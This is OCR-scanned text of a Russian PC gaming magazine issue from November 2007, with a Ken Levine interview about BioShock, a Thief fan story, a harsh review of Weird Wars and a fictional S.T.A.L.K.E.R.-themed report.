обновляйте базы данных и, возможно, ваш антивирус еще не раз спасет компьютер от плачевных послед- ствий. До новых встреч! Ноябрь 2007 GAMER 8/
r^GAMER ИЗ ПЕРВЫХ УСТ КЕН ЛИВАЙН ОКОНЧАТЕЛЬНО СНИМАЕТ ЗАВЕСУ ТАИНСТВЕННОСТИ С BIOSHOCK В ИНТЕРВЬЮ ДЛЯ PC GAMER Глава компании Irrational Games рассказал нам об играх BioShock, Big Daddies и огромных насекомых Решившись однажды порвать с киноин- дустрией и всецело посвятить себя игровому бизнесу, Кен Ли- вайн больше не сворачивал с избранного пути. За Thief: The Dark Project, первой про- бой пера Кена, последовали не менее знаменательные про- екты — System Shock 2, Freedom Force, SWAT 4. Релиз BioShock, по всей видимости, должен стать очередным триумфом некогда скромного дизайнера компании Looking Glass, за- тем соучредителя Irrational, а теперь президента 2К Boston, не легко раскусить противоре- чивого Кена Ливайна: сначала он бросает все силы на вы- страивание стройной сюжет- ной линии, а затем сообщает, что вовсе не она, а некое та- инственное индивидуальное послание является изюмин- кой BioShock. Не откладывая в долгий ящик накопившиеся вопросы, мы спешим отпра- виться к ведущему дизайнеру BioShock разузнать интересую- щие нас факты. PC Gamer: Какие эмоции Вы пытаетесь вызвать у иг- рающих в BioShock? Кен: Игра представляет со- бой переплетение различных идеологий, среди которых при- дется лавировать герою для продвижения по подводной метрополии. Ни одна из них не окрашена только в белый или только в черный цвет, что значительно осложняет выбор того поведения, которое может претендовать на позицию вер- ного (естественно, только с Ва- шей точки зрения) в сложив- шихся обстоятельствах. Тот факт, что цивилизация, сотво- ренная Эндрю Райаном, тер- пит крах, призван усугубить те проблемы, которые при мир- ном течении жизни общества не выделялись бы настолько сильно. В процессе игры вам Кирон Джиллен предстоит постоянно метаться между несколькими огнями. Думаю, что это не оставит людей равнодушными. Может, конечно, кому-то доставляет удовольствие играть в огра- ничивающие свободу выбора ультрапатриотические игры и чувствовать себя марио- неткой в руках сильнейших мира сего, но только не мне. Поэтому-то я и пытаюсь соз- давать такие игры, которые позволят геймеру самому про- кладывать себе путь в глубины виртуального мира «киркой и лопатой» своей совести. PC Gamer: Действительно ли есть в BioShock тот скры- тый призыв к людям, кото- рый так старательно пытают- ся обнаружить критики? Кен: Чаще всего различны- ми средствами культурного влияния при помощи тща- тельного подбора фактов мас- сам навязывается только одна позиция. В качестве примера приведу события Вьетнамской войны. В конце 60-х на экра- нах появляется небезызвест- ный фильм «Зеленые береты» с Джоном Уэйном в главной роли, в котором красной нитью проходит идея о не- обходимости ведения амери- канскими войсками военных действий на территории Вьет- нама. Понятно, что, посмотрев этот фильм, большинство аме- риканских патриотов окажут- ся на стороне властей. Спустя десятилетие выходит кино- I лента «Апокалипсис сегодня», призывающая нас посмотреть на события Вьетнамской войны с абсолютно противо- положной стороны, и многие люди кардинально меняют первично сложившиеся взгля- ды. Цель подобных произ- ведений искусства абсолютно ясна. Вопрос в том, не пора ли изменить сложившиеся стереотипы? Видеоигры уже вполне созрели для того, что- бы наравне с кинофильмами, литературными или публици- стическими произведениями выступить в роли средства отображения окружающей нас реальности. Более того, я считаю, что они могут пре- доставить наилучшие возмож- ности человеку, желающему самостоятельно обдумать ту или иную ситуацию и вынести свое непредвзятое суждение по тем проблемным вопросам, которые она поднимает. Имен- но такая миссия возлагается на BioShock. Критики напрасно стараются высмотреть в ней республиканскую пропаганду или какие-то нападки на ком- мунистическое предвкушение безоблачного счастья. Это всего лишь домыслы, не имею- щие даже доли правды. PC Gamer: Существует еще и такое невероятное предпо- ложение, будто бы BioShock нацелена предостеречь чело- вечество от осуществления исследований антистволовых клеток. Как Вы думаете, уви- дев игру вживую, люди изме- нят свое мнение? Кен: Вряд ли BioShock удаст- ся кардинально изменить мироощущение закорене- лых фанатов той или иной идеологии. Эту игру смогут по достоинству оценить лишь люди, обладающие глуби- ной и гибкостью мышления. Главное в BioShock — посеять в душах людей сомнение, ведь только в сомнениях рождается истина. В игре затрагиваются 88 PCGAMER Ноябрь 2007
Попробуйте представить вместо маленькой девочки гигантского таракана и порадуйтесь, что первоначальные идеи разработчиков далеко не всегда являются окончательными. вопросы, на которые сложно ответить однозначно, поэтому каждый из играющих волен вынести из нее свой урок. PC Gamer: Последователи Айн Рэнд считают, что, хоть Вы и избрали в качестве про- тотипа для BioShock роман «Атлант расправляет плечи», Вы абсолютно не разделяете взгляды объективистов. Это так? Кен: BioShock была вос- принята сторонниками объ- ективистской философии как выпад против их убеждений. Это обвинение абсолютно беспочвенно. Я отношусь к философским взглядам Айн Рэнд с большим уважением, но совсем не являюсь фанатом системы убеждений 50-летней давности. Если бы люди, счи- НЕМНОГО СУХИХ ФАКТОВ Кен Ливайн начал свою карьеру киносценаристом, а затем перешел в ряды дизайнеров видеоигр. Thief стала первой крупной работой Кена и ознамено- вала удачное начало его работы в сфере игровой индустрии. После ее окон- чания уже успевший набраться некоторого опыта молодой дизайнер покида- ет стены Looking Glass, чтобы стать соучредителем Irrational. Ему доводилось браться за разную работу: внедрять в жизнь чужие идеи (Tribes, SWAT), зани- маться продвижением своих собственных проектов (Freedom Force), а также пользоваться поддержкой 2К Games (Bioshock). СУПЕР Freedom Force (2000). RTS с изворотливым, стильным и забавным главным героем. Tribes: Vengeance (2004). Разо- чарование для фанатов. SWAT4 (2005). Полицейская симу- ляция, создающая удивительную, таинственную атмос- феру. Игроки были в восторге от «Тазера»! Bioshock (2007). Действи- тельно заслуживает рейтинг 95 %, данный ей в PCG! System Shock 2 (1999). Хоррор/РПГ, тре- бующая от игрока прояв- ления особой ловкости и изобретательности. Thief (1998). Классичес- кая игра, для которой Кен ТАКСЕБЕ Ливайн, уходя из Looking Glass, успел создать только первичный дизайн. тающие себя последователями Рэнд, внимательнее вчитались в ее философские суждения, они не смогли бы не заметить пренебрежительного отно- шения к слепой вере в любую идеологию и к бездумному по- читанию идеалов прошлого. PC Gamer: Анализируя BioShock, нельзя не упомя- нуть о методе изложения событий в игре, ведь он существенно отличается от общепринятого. Кен: Вы правы, одной из особенностей BioShock яв- ляется способ подачи инфор- мации об истории подводной метрополии. Главным повес- твователем выступает сам игрок. Именно он, пробираясь по этому бьющемуся в пред- смертной агонии миру, по кру- пицам собирает сведения о его былом могуществе и причинах разложения. Как же он сможет осуществить это без пошаго- вых руководств и тщательных наставлений? Очень просто — его поведет любопытство, ведь не каждый же день доводится наблюдать за гибелью целой цивилизации. PC Gamer: Слышал, что вначале Маленькие Сест- ры имели вид насекомых, а не человеческое обличье. Что же заставило Вас из- менить их первичную сущ- ность? Кен: Согласитесь, нельзя без умиления смотреть на ту трогательную заботу, которой окружает свою подзащитную ее громила-охранник, на ее нежные ответные чувства и не- поддельную тревогу, охваты- вающую девочку, если ее влия- тельного покровителя вдруг не оказывается рядом. Именно эта неразлучная парочка позво- ляет выдвинуть на первый план одну из наиболее сложных за- Маленькие сестры были насекомыми. Каким образом они изменились? дач осуществления морального выбора — убить и получить вы- году либо проявить милосердие и остаться ни с чем. А теперь на секунду представьте, что со- лидные Папочки путешествуют по подводному миру в компа- нии с... жуками. О каком жест- ком моральном выборе могла бы тогда идти речь? Омерзи- тельные жуки, в отличие от крохотных и беззащитных Сестричек, не способны были бы вызвать у игроков и каплю жалости, а их истребление ради получения заветного «Адама» было бы нормальным явлением в игре. Таким образом, появле- ние Маленьких Сестер призва- но открыть для игроков новые возможности, новые ощущения и, одновременно, новые про- блемы, которые нельзя обойти стороной. PC Gamer: В каком русле следует вести дальнейшую разработку игр от первого лица, чтобы не растерять аудиторию их почитателей? Кен: Прежде всего следует избавиться от устойчивой ассоциации игр от первого лица с шутером. Стоит внести в привычный жанр новую изюминку, и игра воспримется совсем по-другому. Первые попытки уже были сделаны: к примеру, System Shock или Deus Ex — уже далеко не стан- дартные, успевшие немного наскучить FPS, а увлекатель- ные игры от первого лица с элементами шутера и хор- рора. Но это только первые шаги, поэтому у разработчи- ков в данном русле широкие возможности. PC Gamer: Обращает на се- бя внимание оригинальное оформление мира BioShock. Особенно меня заинтриговал необычный full stop. Кен: Сама основа сюжета (отображение терпящей крах утопической цивилизации) и архитектурный стиль, доми- нирующий в BioShock, нельзя назвать абсолютно новыми, но в видеоиграх они встре- чаются впервые, я постоянно пытаюсь привлекать в игро- вую индустрию казалось бы уже знакомые, но еще не из- веданные геймерами дости- жения других отраслей куль- туры. Это позволяет, с одной стороны, разнообразить виде- оигру, а с другой — наполнить уже известные элементы и по- нятия новыми перспективами. PC Gamer: Многие считают BioShock «духовным наслед- ником» System Shock 2. А Вы сами никогда не ловили себя на этой мысли? Кен: Приятно, что моя пер- вая попытка побывать в роли главного дизайнера до сих пор не предалась забвению. Должен признать, что соблазн сотворить нечто похожее на System Shock 2 был велик. Игра вышла действительно за- мечательной, но с тех пор уже прошло целых 8 лет. Стоит ли останавливаться на достиг- нутом? Решили — не стоит, и уверен, что не ошиблись. Ноябрь 2007 PCGAMER 89
Hit me!!! Глаз Дья К этому дельцу он готовился два месяца... Два долгих месяца изо дня в день он следил, добывал и «переваривал» полученную информацию. Его змеиный ум улавливал малейшие изменения в поведении его цели. А цель была одна — ограбить замок очередного толстосума. Кто на этот раз? Лорд Баффорд? Нет, его скипетр, укра- денный месяцем ранее, красовался на прилавке у его подельника Кати, понятно, не для всеобщего обозрения, а для своих, проверенных людей. Среди покупателей были знатные вельможи, коллекционеры, да и просто купцы, которые могли по- зволить себе отвалить за товар немалые деньги. Барон Эшли? Вряд ли у него было действительно что-то ценное. Нет, сегод- ня это будет ни кто иной, как мэр города Даггет Фриск — большой скупердяй и взяточник. О нем и его сокровищах ходят разные слухи, но на сколько это было правдой, не знал никто. Дождливым вечером Гаррет сидел в трактире «Два Толстяка». Публика была разношерстной, пахло сыростью, жаре- ными окороками и элем. Менестрель, который умостился возле камина, сегодня был невнятный и серый. Посетители были раздосадованы и не обращали на него внимания. Гаррет сидел в углу, как всегда, строгий и мрачный. Он, как обычно, за- ходил в таверну услышать новые сплетни и новости, поэтому сидел, навострив уши. И вот, случайная фраза «мэр Даггет» моно- тонного разговора за соседним столиком заставила его содрогнуться... Достаточно было этих слов, чтобы все вокруг потеряло какой-либо интерес, а внимание и слух на- мертво приковались к говорившим... -...старина Гриффин, разве мэр, к ко- торому ты так часто наведываешься, не потчевал тем самым вином, которое ему преподнесли в дар наши северные со- седи? — прогремел чей-то невнятный и явно подпитый голос... ола -Еще бы! — довольно про- тянул плотный усатый мужчи- на, который, так же как и его товарищ, был навеселе. — Он даже не выдержал и показал мне сокровищницу... я видел жемчу- жину с непонятной мне грави- ровкой. Та переливалась всеми цветами радуги... Вот, что взволновало, и в то же время привело Гаррета в дикий пьянящий восторг. «Значит, Глаз Дьявола все же существует и хранится в грязных руках негодяя. Хм... посмотрим, надолго ли он у него задержится». В зале мало кто заметил, как человек в черном плаще встал из-за стола и ушел, оставив на столе в качестве платы маленькую серебряную монетку. Глаз Дьявола... Об этом уникальном предмете «ходили» легенды и пели пес- ни... Предания гласят, что в недрах земли был найден удивительный по красоте ка- мень, который излучал странное сияние, мерцая то ярко белым, то тускло-синим свечением. Его обработали и украсили. Но имен этих мастеров не знал никто. Рукописи Хранителей повествуют о том, что первый глава и создатель ордена Хам- меритов владел этой реликвией, но как она оказалась у него — ответил бы только усопший... Теперь же открылось, что Глаз Дьявола здесь, совсем рядом, в поместье Фриска. Но правда ли это? Не ловушка? На эти вопросы Гаррет не знал ответа. Но был уверен, что, имея эту реликвию, можно сказочно разбогатеть, а украсть такой объект мечтают все воры. В полночь пошел ливень. Стражник в кольчуге и с копьем в руках устало проха- живался вдоль замковых ворот. Он про- дрог до костей. «Эх, плюнуть бы, и вместо обхода вернуться в караулку выпить горячего грога», — сейчас это было его самое заветное желание. Внимание воина притупилось, а взгляд, который обычно был зорким, расплылся в темноте. Он словно оглох и ослеп... С северной стороны, где стена была всего каких-то 14 футов, лязгнул крюк. Спустя мгновение, наверх по веревке взобралась темная фигура в плаще и рас- творилась во тьме... Пробравшись во внутренний двор замка, Гаррет не бросился к парадному входу, а решил пробираться сквозь ста- рую и почти не используемую сеть под- валов и туннелей... Как найти эти двери он знал — недаром была куплена карта. А куда выведет туннель — об этом можно было догадываться... Вот она — дверь! Отмычка, взлом. Это дело одной минуты, 90 GAMER Ноябрь 2007
и густая беспроглядная тьма встретила зловещей сыростью подземелья... Он брел больше часа. Факел горел то ровно, то трепетал, когда пламя щекотал сквозняк... Слабый, едва заметный, но он был, и в нем чувствовался воздух другой, более свежий... Гаррет не обращал внима- ния на разбросанные в комнатах мешки и ящики, на разбросанный хлам и на крыс, которые шарахались в разные стороны. Сейчас его интересовал выход из этого огромного туннеля. Порой он сбивался с пути, заходил в тупики, возвращался назад, искал новые проходы. Он шел, словно охотничий пес ищет новый след. Искал и не сдавался... Пока наконец не достиг своей цели. Едва он увидел полоску света и око- ванную железом дверь, голоса, доно- сившиеся снаружи, напомнили ему про осторожность. — Крег, черт тебя дери, где ты пропа- дал весь день? Отходил от вчерашней попойки? — Приветствую, старина Грегори. Да, веселенькая была вчера ночка. Но надо идти тебя подменить... Все тихо здесь? — Да... Все как обычно. Кланси и Майерд дежурят внизу. Их скоро подме- нят. Джефри Вайт охраняет спальню. А в левом крыле я не знаю кто сегодня дежу- рит. Должно быть Хорст и Энди Долговя- зый. Ну что ж, принимай пост, а я схожу доложу сержанту. Послышались удаляющиеся шаги. Стражники ушли. Пришло время действо- вать! Гаррет с трудом приоткрыл массивную дверь и очутился в длинном коридоре, ко- нец которого скрывался в полумраке. Было тихо и лишь мелкая тень прыгала от мигаю- щих факелов... Но где он, на каком этаже — это надо было еще узнать. В конце коридора Гаррет чуть не столкнулся со стражником, но вовремя скрылся в темноте. Подождав, пока тот завернет за угол, вор юркнул в проем и очутился на винтовой лестнице. Куда идти: вниз или наверх? Он бросился наверх. Мгновение — и герой очутился у парапета. Внизу располагался большой зал для приема гостей, массивные дубовые столы, канделябры и прочий стандартный инвентарь... У дверей лениво прохаживался страж и терялся где-то в полумраке. «Так... Куда дальше, — подумал Гар- рет, — нужно найти спальню мера и про- верить ее. Только где она? Может, в левом крыле...» Повернув налево, он быстро, но ос- торожно крался, подобно кошке. В сле- дующем проеме показались ступеньки, которые уходили наверх. Коридор, был длинным и хорошо осветленным, а доб- ротная резная дверь словно говорила, что за ней хранится что-то ценное. Гаррет принялся за замок, то и дело оглядываясь по сторонам. Опасность появилась столь внезапно, что наш взломщик оторопел, как, впрочем, и сам страж. Тот поднялся теми же ступенями, что и Гаррет, и несколько секунд пребы- вал в оцепенении. Затем выхватил меч и бросился на незнакомца. Но человек в черном мастерски выхватил короткий клинок и парировал удар. А затем так стремительно замахал им, что нападав- шему пришлось отступать... Гаррет не любил убивать и делал это исключительно в крайних случаях. Сей- час это был один из них, но вора теперь больше волновало не само убийство, а то, что он раскрыт. Скрежет стали и отчаян- ные крики стража о помощи наверняка услышала охрана. А это — провал зада- ния. Со злости он рубанул противника и тот рухнул. В этот самый момент послы- шался топот ног. Судя по всему, бежало не меньше трех человек. Началась всеоб- щая суматоха. «Это провал, — прозвуча- ло в сознании, — надо бежать!» А топот ног и свет от факелов приближался... Продолжение следует... Ноябрь 2007 " GAMER 91
Неудача сезона WEIRD WARS: THE UNKNOWN EPISODE OF WORLD WAR II И такое бывает... Признаюсь вам честно: барахло — оно и в Аф- рике барахло. А от- кровенно неудачные игры — составляющая часть этого «всемирного барахла». Одно мне непонятно: на что же рассчитывают эти горе- разработчики, создатели, и, в конце концов, те же самые спонсоры предприятия? Ведь даже ребенку уровня детского сада нетрудно будет заметить, что Weird Wars мало того, что выглядит просто доисторически, но и, ко всему прочему, сплошь напичкана лагами и багами. А графическое исполнение игры наводит на мысль, что програм- мисты и дизайнеры набирались из Дома престарелых. Когда такие продукты появляются на рынке, реакция покупате- лей зачастую бывает чересчур категоричной и совершенно однозначной — уничтожаю- щая критика, издевательство, на смешки... Всего этого Weird Wars, бесспорно, заслуживает, являясь по мнению нашего жур- нала безоговорочным антихитом номер один.Начнем с простого: игра была разработана и гото- вилась к выпуску четыре года назад, но по какой-то совершен- но непонятной причине произ- водство было приостановлено и заморожено. Парадоксально, что явных поводов для останов- ки проекта не предвиделось: игра запросто проходила комиссию по обвешиванию игр ярлыками, ни в коем случае не попадая в ка- тегорию Adult. Крови в игре практически не наблюдается, порнографиче- ские и эротиче- ские сцены от- сутствуют вообще, слишком уж неприличные ругательства не заметны невооруженным взглядом, да и игровая атмосфе- ра вполне бы сгодилась не для зверского боевика, а для очеред- ной серии передачи «Спокойной ночи, малыши». Так что же на самом деле произошло четыре года назад? Не хватило денег? А может, пораженные излишним самомнением, разработчики посчитали, что создали игру Порнографи- ческие и эро- тические сцены отсут- ствуют вообще «следующего поколения», для которой прогрессивное человече- ство будет готово через 3-4 года? Что бы там ни случилось, это навсегда останется тайной, равно как и Weird Wars навсегда войдет в «игровую» историю под ярлы- ком неудачной, состарившейся или просто глупой и банальной игрушки. А поскольку более от- вратительного «произведения искусства» в этом месяце на рынке компьютерных игр не предвидит- ся, то детище от Mirage Interactive достойно получа- ет звание «Неудачи сезона», с чем мы ее и поздравляем. С одной стороны, это звание, конечно, удручает(хотя я более чем уверен, что наш журнал разработчиков игры совершенно не интересует), но с другой стороны — об этой игре узнают все. А поскольку ба- рахло сейчас в моде, то даже у та- кого произведения найдутся свои поклонники. Хотя, признаться, Weird Wars по маразму не уступа- ет Torrente3, о котором написано в предыдущем выпуске. Итак, перейдем к игре. Но по- скольку игрой это назвать труд- но, перейдем к описанию этой субстанции. Weird Wars, опоздав на четыре года, выглядит соот- ветствующе. С виду это напоми- нает смесь одного из начальных Command and Conquer и первого Commandos. Признаюсь, что уви- деть такую графику сегодня — удовольствие не из приятных. Да, конечно, в мире существуют игры с отвратительной графи- кой (тот же Diablo 2, например), имеющие миллионы поклон- ников, но Weird Wars слишком далека от классики жанра, чтобы позволить себе такие проколы. Так что для начала мы стол- кнемся с проблемой адаптации к графике. Немного привыкнув к угловатости, мы сталкиваемся со следующей неожиданностью: оказывается, у главного героя игры нет имени. А у помощника есть, его зовут Johann. А главного героя видимо в кукурузе нашли, причем уже в возрасте Маугли, когда нарекать человеческим именем поздно, а звериным — как-то язык не поворачива- ► 92 GAMER Ноябрь 2007
WEIRD WARS: THE UNKNOWN EPISODE OF WORLD WAR II ► ется. Вот и решили оставить нашего «хлопца» безымянным, что довольно-таки непонятно. Возможно, это была попытка разработчиков дать игроку шанс изучить своего героя и приду- мать ему соответствующее имя. Может эта идея была бы не такой уж и плохой, если бы ребята из Mirage Interactive довели ее до по- бедного конца. А поскольку это- го не произошло, остается пред- полагать, что об имени просто забыли или решили не придавать ему вообще никакого значения, заранее догадываясь, что игра станет неудачей. Итак, наш главный безымян- ный герой и его верный помощ- ник Johann попадают в жесткую переделку у берегов Норвегии. Агрессивная подводная лодка ко- варных немецко-фашистский за- хватчиков злобно атаковала ко- рабль наших героев (да, действия в игре происходят во время Второй Мировой войны). В итоге их судно, превратившись в ды- рявое корыто, отправилось ко дну, а «сладкой парочке» удалось чудом спастись на льдине. Про- сидев на ледяном ковре энное количество времени и не отмо- розив себе конечности (похоже, с анатомическими познаниями у разработчиков тоже не сложи- лось), наши герои наконец-то об- рели теплое местечко. Очередная подводная лодка фашистов (а у берегов Норвегии, судя по мне- нию Mirage Interactive, все просто кишит подво- дными лодка- ми), приняв наших друзей за секретных агентов Гестапо (кошмар, это ж надо так ошибиться), с почестями все просто кишит подводными лодками принимает их на борт. И это еще не все. Оказывается, немцы направляются на поиски извест- ного артефакта, который, судя по игровому сюжету, должен при- носить удачу... В игре присутствует просто огромнейшее количество диало- гов. Это наводит жуткую тоску уже после первых 5 минут, А че- рез час хочется разломать диск и спустить его в унитаз. Тем не менее, для полного и оконча- тельного анализа игры я не имел права этого сделать. Вероятно, почувствовав перенасыщен- ность разговорами, разработчи- ки попытались ввести в каждый диалог шутки и прибаутки. Скажу откровенно — лучше бы они этого По мнению не делали. Mirage Interactive, шуткиианек- доты, исполь- зуемые в игре, являются мало того, что борода- тыми, но еще и попадают совершенно не в тему, порой сбивая с мысли и отвлекая от игрового процесса маразмом и навязчивостью. Ах да, я ведь забыл сказать, что эти диалоги, ко всему прочему, не были озву- чены. Так что, для того чтобы вникнуть в суть дела, вам при- дется внимательно читать всю эту муру, потому что отыскать в грудах текста указания к про- хождению той или иной мис- сии — задача очень сложная. Система боя в игре предлагает семь возможных вариантов, для того чтобы атаковать, обо- роняться или просто оставаться на месте. Стандарт, одним сло- вом. Единственным разумным достижением, пожалуй, можно назвать функцию остановки времени для анализа ситуации и разработки стратегии. Однако, во-первых, игру можно легко пройти и без этой опции, А во- вторых, если вы все же станете эту «остановку» регулярно ис- пользовать, то игровой баланс будет просто под корень разру- шен, потому что сложности или даже минимальных затруднений в прохождении миссий у вас не возникнет вообще. Ради разнообразия или про- сто без определенной идеи разработчики снабдили игру семью игровыми классами. Естественно, каждому кассу ин- дивидуально доступны какие- Ноябрь 2007 GAMER 93
Неудача сезона либо специфические умения и навыки, которые в процессе игры смогут быть повышены в уровне. Одним словом, типич- ный RPG для 2002-2003 года. Проблема в том, что в этой игре, в отличие от хитовых RPG того времени, нет четкой линии, А цели миссий довольно размытые и не совсем ясны. Виной этому, конечно, то, что мы вынуждены пользоваться текстовой перепиской вместо звукового оформления. Слиш- ком уж много следует провести времени, вчитываясь в диалоги персонажей. Отмечу также, что маневрировать и переключать- ся во время игры — процесс довольно мучительный. Причи- на этому — сотни мелких лагов. Начиная от «приближения- удаления» камеры обзора, кото- рая зачастую двигается рывка- ми, теряя фокус, и заканчивая заедающими «спецумениями» персонажей — вот краткий об- зор недостатков в этой сфере. Перейдем к графике. Тут от- метить вообще нечего, все старо, как этот мир, примитивно, грустно, скучно и отвратитель- но. Никаких ярких спецэф- фектов, никакой свежести (что и немудрено для «запоздавшей пташки»), никакой оригиналь- ности, никакой идеи. То есть, мы имеем шаблонный вариант, смахивающий то на одну игру, то на другую, но даже четко не ко- пирующий лучшие стороны пра- родителей. Еще несколько слов о музыкальном оформлении: вполне сносно. Посколь- ку в общем плане игра выглядит отврати- тельно, то музыкаль- ное сопровождение ГЛАВНОЕ Гошнотворная графика времен динозавров, сотни мелких лагов — вот краткий перечень «достоинств» этого и саундтреки, как единственный лу- чик света в темном царстве, к сожалению, просто не замечаются. Но, про- слушав звуковые дорожки, при этом не играя в Weird Wars, я пришел к выводу, что музыка подобрана со вкусом и вполне подобающе. Это несколько удив- ляет, но с другой стороны, не мо- жет же все быть плохим. Хоть что-нибудь должно получиться. В нашем случае, музыкальное сопровождение удалось на славу. Правда, если честно, кому оно произведения нужно, когда играть совершенно не в кайф? Сделаем выводы... Mirage Interactive следовало просто сэкономить деньги и время. Вы- ражаясь с огромной осторожно- стью, назвать Weird Wars игрой язык не поворачивается. Кроме музыкального сопровождения, разработчики не справились ни с чем, предоставив на суд гей- меров самое настоящее барахло. Сухая игра, к размешанная древ- В ним и несмешным В юмором, отсутствие идеи, банальный ' сюжет, «прекра- щающиеся текстовые диалоги, тошнотворная графика времен динозавров, сотни мелких лагов — вот крат- кий перечень «достоинств» этого произведения. И по горячим следам, так сказать. Представляя свое «про- изведение искусства» на Все- мирной выставке компьютерных игр, разработчики заметили, что множество геймеров с носталь- гией отзывались об играх «про- шлого поколения». Вот, дескать, мы сделали соответствующие выводы и решили предоставить на суд общества Weird Wars. Возможно это именно то, чего так не хватало на сегодняшний день в мире игровой индустрии, для того чтобы поднять боевой дух клиентам, скучающим по Commandos и подобным играм. По их мнению, пачка чипсов и приятно проведенные 3-4 часа в день за игрой, помогут об- рести прежнюю ловкость. Да уж, мечтать не вредно, дорогие мои. Возможно, пачка чипсов и 3-4 часа и помогут поднять боевой дух, но только не за этой игрой. Ваше время ушло, Mirage Interactive, не засоряйте игровой мир ненужным мусором! Суще- ствует множество действитель- но хороших игр. Возможно, сле- дует равняться на лидеров, А не на собственное мнение, которое устарело уже тогда, когда игра должна была появиться на свет, в далеком 2003 году. КРАТКАЯ ИНФОРМАЦИЯ Жанры: Action / RPG I Isometric Разработчик: Alien Artefact Издатель: Mirage Interactive Оценка журнала: 21% 94 Р. GAMER Ноябрь 2007
Special ОТЧУЖДЕНИЯ При виде клиента братья Трахеры всегда оживляются. Никто не предполагал, что повторится ката- строфа далекого 1986 года, которая потрясла весь мир своими разрушитель- ными масштабами. Но, как говорит народная Мудрость, человек предполагает, аТосподь располагает. И вот, 14 сентября 2007 года в девять часов вечера прозвучал взрыв... Нет, на этот раз не в многострадальном Чернобыле, а в окрестностях небольшого села Старое, на бе- регу Днепра. Все происходило по тому же сценарию. Как и тогда, в 1986-м: ни пресса, ни телевидение, ни радио ничего не сообщили о трагедии и ее последствиях, вся информация была преисполнена собачьей радости и преданности, а так- же лояльности по отношению к различным кандидатам на грядущих парламентских вы- борах. О катастрофе мы узнали абсолютно случайно, если, ко- нечно, так можно выразиться. Около десяти часов вечера в ре- дакции раздался телефонный звонок. Неизвестный мужчина, задыхаясь, поведал нам некото- рые подробности катастрофы и немного о том, что же все- гаки происходит. К сожалению, дослушать его нам не удалось. Раздалась автоматная очередь, и он, как-то странно поперхнув- шись, замолчал. Спустя мгно- вение, в трубке раздался другой голос: «Извините, это был не- большой розыгрыш». Но мы все-таки журналисты и не мог- ли не проверить настолько важную информацию. Ранним утром наш десант из семи чело- век отправился на поиски ис- тины на предполагаемое место катастрофы. Добравшись до пункта на- значения, мы увидели безумное зрелище: на небольшой тер-
ритории собралось огромное количество автомобилей (от всевозможных моделей легко- вушек до армейских «Уралов» и «Газов»), Вокруг суетились люди в военной форме (и, что главное, с оружием на плечах), бегали ученые (их мы узнали ио спецодежде и умному, оза- боченному виду). Так что, со- риентировавшись на местности, гипотезу о глупом розыгрыше мы о тмели сразу же. В этой суматохе было очень трудно найти хотя бы одного человека, который объяснил бы суть про- исходящего. Но трудно — это не значит невозможно. Спустя полчаса мы нашли одного «Хотите повеселиться? 500 рублей — и обхохочетесь». человека, который, в отличие от присутствующих, был пре- исполнен достоинства и спо- койствия. Это был Командор. Мы его насторожили своим штатским видом и он чуть было не пристрелил нас. Но узнав, что перед ним находятся жур- налисты из PC Camera, сменил гнев на милость и поведал о случившемся. Как оказалось, за простирав- шейся перед нами пустошью и лесом,находится секретная военная лаборатория, которая занимается проблемами ядер- ной энергетики и влиянием радиации на окружающий мир и человека. Прошлой ночью на этом объекте должны были провести грандиозный опыт. Правда, суть его нам гак и оста- лась неизвестной. Но ситуация вышла из-под контроля и про- изошла катастрофа, настолько страшная, что врата ада пока- зались бы райским местечком крымского побережья в бархат- ный сезон. Военным не удалось утаить информацию об аварии. И спустя полчаса на объекте появились люди, которые на- зывали себя сталкерами. Утром вход в Зону был закрыт, и мы оказались здесь последними и единственными штатскими. До т ого момента, когда положе- ние стабилизируется, выпускать нас, естественно, никто не соби- рался. И мы приняли поистине героическое решение: провести разведку боем. Такая идея очень понравилась Командору. Он тут же выписал нам разреше- ние на посещение зараженных территорий, выдал военную форму и оружие (правда, без патронов)и отправил в научно исследовательский институт, находившийся неподалеку, чтобы ученые провели нам ин- структаж о правилах поведения в Зоне. В институте было, словно в растревоженном пчелином улье. Все суетились, о чем то говорили. До нас доносились загадочные фразы о каких-то артефактах, снорках, пустыш- ках, комариных плешах, жгучем пухе... Добравшись таки до кабинета руководителя сего беспокойного заведения, мы были поражены царящей здесь безмятежностью и спокойстви- ем. На пороге нас встретил статный мужчина лет 45-50, представившийся Доком. Он усадил нас в необъятные кожа- ные кресла и, узнав цель нашего посещения, поведал еще одну историю. Как оказалось, Док явля- ется руководителем научно- исследовательского комплекса в Зоне. Именно он курировал лабораторию, на которой прои- зошла авария, и сейчас он — за- ложник своих научных «дости- жений». Минут пять он стоял и смотрел в окно на открываю- щийся пейзаж Зоны, напевая песенку на знакомый мотив, правда, с другими словами: •••••••••••••••• Мы не Декарты, не Ньютоны мы, Для нас наука — темный лес чудес! А мы простые, да мы сталкеры, Идем за спорками мы в лес. Затем он сел в кресло, снял очки, и с нескрываемым удо- вольствием начал свой рассказ: «Думаю, мои хорошие, вам будет полезно знать, что ►
Special ВТОРАЯ ЗОНА ОТЧУЖДЕНИЯ они призваны защищать его. В общем, настоящий сумасшед- ший дом. А со вчерашнего дня ученые института исследуют только то, что перепадает им от сталкеров и Трахеров. Вот, такая грустная история... я дам вам карту местности, чтобы вы не потерялись. И еще не- большое напутствие на дорогу: не конфликтуйте со сталке- рами и военными, не прини- майте никаких предложений от бандитов, не пытайтесь влезть в аномальные зоны, и постарайтесь принести хоть какую-нибудь информацию об аномалиях и артефактах, я вас очень прошу». Распрощавшись с Доком, мы отправились к Трахерам попол- нить боезапас нашего не особо Грузовик смерти. ► происходит сейчас в Зоне, кто такие сталкеры, и кто находится сейчас в Зоне. Но не буду за- бегать наперед, а расскажу все по порядку. Наш институт был создан еще в далеком 1986 году, сразу после взрыва ЧАЭС. Вы, конечно, помните те странные слухи о мутировавших жи- вотных, прыгающих деревьях, «свихнувшихся» людях... Ин- ститут был создан для того, что- бы подтвердить, либо опровер- гнуть эти слухи. На территории этой военной базы построили несколько лабораторий и даже небольшую атомную электро- станцию такого же типа, как и ЧАЭС. Все шло очень хорошо, мы делали открытие за откры- тием, нам повышали финанси- рование, выдавали премии и на- грады, но все это продолжалось недолго. В 1996 году в окрест- ностях начали появляться непонятные зоны, названные нами аномалиями. Вы уже, конечно, слышали в коридорах их названия: комариная плешь, жгучий пух, ведьмин студень... это и есть аномалии. Это зоны, в которых законы физики либо искажены до неузнаваемости, либо вовсе не действуют. Мы обратились за помощью к во- енным, которые присутство- вали здесь постоянно. Они сформировали небольшие от- ряды для поиска и обозначения на картах местности аномалий. Но оказалось, что в Зоне есть не только аномалии. Появи- лись артефакты, 